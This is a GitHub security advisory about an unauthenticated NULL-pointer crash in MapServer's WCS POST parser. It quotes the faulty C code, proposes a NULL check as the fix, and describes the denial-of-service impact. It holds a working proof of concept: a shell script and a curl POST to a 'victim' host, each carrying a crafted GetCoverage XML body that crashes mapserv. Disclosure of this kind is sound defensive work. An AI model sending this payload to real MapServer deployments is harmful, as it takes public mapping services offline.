GitHub

Summary

An unauthenticated, remotely reachable NULL-pointer dereference in MapServer's WCS POST parser kills the handling CGI/FastCGI worker. A single crafted GetCoverage POST request whose <BoundingBox> element omits the crs attribute causes mapserv to dereference NULL and crash with SIGSEGV (exit code 139). This is a denial-of-service vulnerability: any reachable WCS endpoint can be crashed on demand and kept down by repeating the request.

Details

File: src/mapwcs.cpp, function msWCSParseRequest(), lines 436–440:

params->crs = (char *)xmlGetProp(tmpNode, BAD_CAST "crs");
if (strncasecmp(params->crs, "urn:ogc:def:crs:", 16) == 0 &&
    strncasecmp(params->crs + strlen(params->crs) - 8, "imageCRS", 8) == 0)
  strcpy(params->crs, "imageCRS");

xmlGetProp() returns NULL when the attribute is absent. The very next line calls strncasecmp(params->crs, …) (and then strlen(params->crs)) on that NULL, dereferencing it and crashing the process before any error/exception path is reached.

The same "normalize imageCRS urn" block appears in the KVP/GET path at lines 621–627, but there params->crs = msStrdup(tokens[4]) is sourced from a count-validated, non-null token, so it is not exploitable. The XML/POST path at 436–440 is missing the corresponding NULL guard — a localized omission, not a design decision.

Suggested fix: after the xmlGetProp call, check if (params->crs == NULL) and return a WCS InvalidParameterValue exception (consistent with the existing missing-parameter handling for LowerCorner/UpperCorner elsewhere in this same function).

PoC

Self-contained — no external files. Run from the repository root against the existing build/mapserv and stock msautotest/wxs/wcs_simple.map:

set -e
REPO="$PWD"                 # adjust if not running from repo root
MAPSERV="$REPO/build/mapserv"
MAP="$REPO/msautotest/wxs/wcs_simple.map"
CFG="$(mktemp -d)/mapserv.conf"
BODY="$(mktemp)/req.xml"
# minimal config (MS_MAP_PATTERN allows the absolute map path)
cat > "$CFG" <<'EOF'
CONFIG
  ENV
    MS_MAP_PATTERN "."
  END
END
EOF
# malicious body: DomainSubset/BoundingBox with NO crs attribute
cat > "$BODY" <<'EOF'
<GetCoverage service="WCS" version="1.0.0" xmlns="http://www.opengis.net/wcs">
  <Identifier>grey</Identifier>
  <DomainSubset>
    <BoundingBox>
      <LowerCorner>-121.49 0</LowerCorner>
      <UpperCorner>-121.48 0.003</UpperCorner>
    </BoundingBox>
  </DomainSubset>
</GetCoverage>
EOF
# send the XML body to the WCS POST parser via stdin
env \
  MAPSERVER_CONFIG_FILE="$CFG" \
  REQUEST_METHOD=POST \
  CONTENT_TYPE='text/xml' \
  CONTENT_LENGTH="$(wc -c < "$BODY")" \
  QUERY_STRING="map=$MAP" \
  "$MAPSERV" < "$BODY"
echo "exit code: $?"

Observed result (verified on current main, existing build artifact):

Segmentation fault (core dumped)
exit code: 139

Equivalent remote form against a deployed mapserv CGI (attacker only needs network reachability):

curl -sS -X POST 'http://victim/cgi-bin/mapserv?map=/etc/mapserver/wcs.map' \
  -H 'Content-Type: text/xml' \
  --data-binary @- <<'EOF'
<GetCoverage service="WCS" version="1.0.0" xmlns="http://www.opengis.net/wcs">
  <Identifier>grey</Identifier>
  <DomainSubset>
    <BoundingBox>
      <LowerCorner>-121.49 0</LowerCorner>
      <UpperCorner>-121.48 0.003</UpperCorner>
    </BoundingBox>
  </DomainSubset>
</GetCoverage>
EOF

Impact

What kind: Denial of Service via NULL-pointer dereference (SIGSEGV).
Who: any deployment exposing a WCS service through mapserv (CGI or FastCGI). Exploitation is unauthenticated and requires only the ability to POST an XML body to the WCS endpoint — no valid credentials, no mapfile write access, no non-default build flags (WCS + libxml2 are standard). A single request kills one worker; repeating the request continuously denies service. MapServer ships with a mapserv CGI/FastCGI binary that is typically fronted by Apache/Nginx with a fixed worker pool, so each crash depletes the pool until the service is unavailable.

Read the original on github.com ↗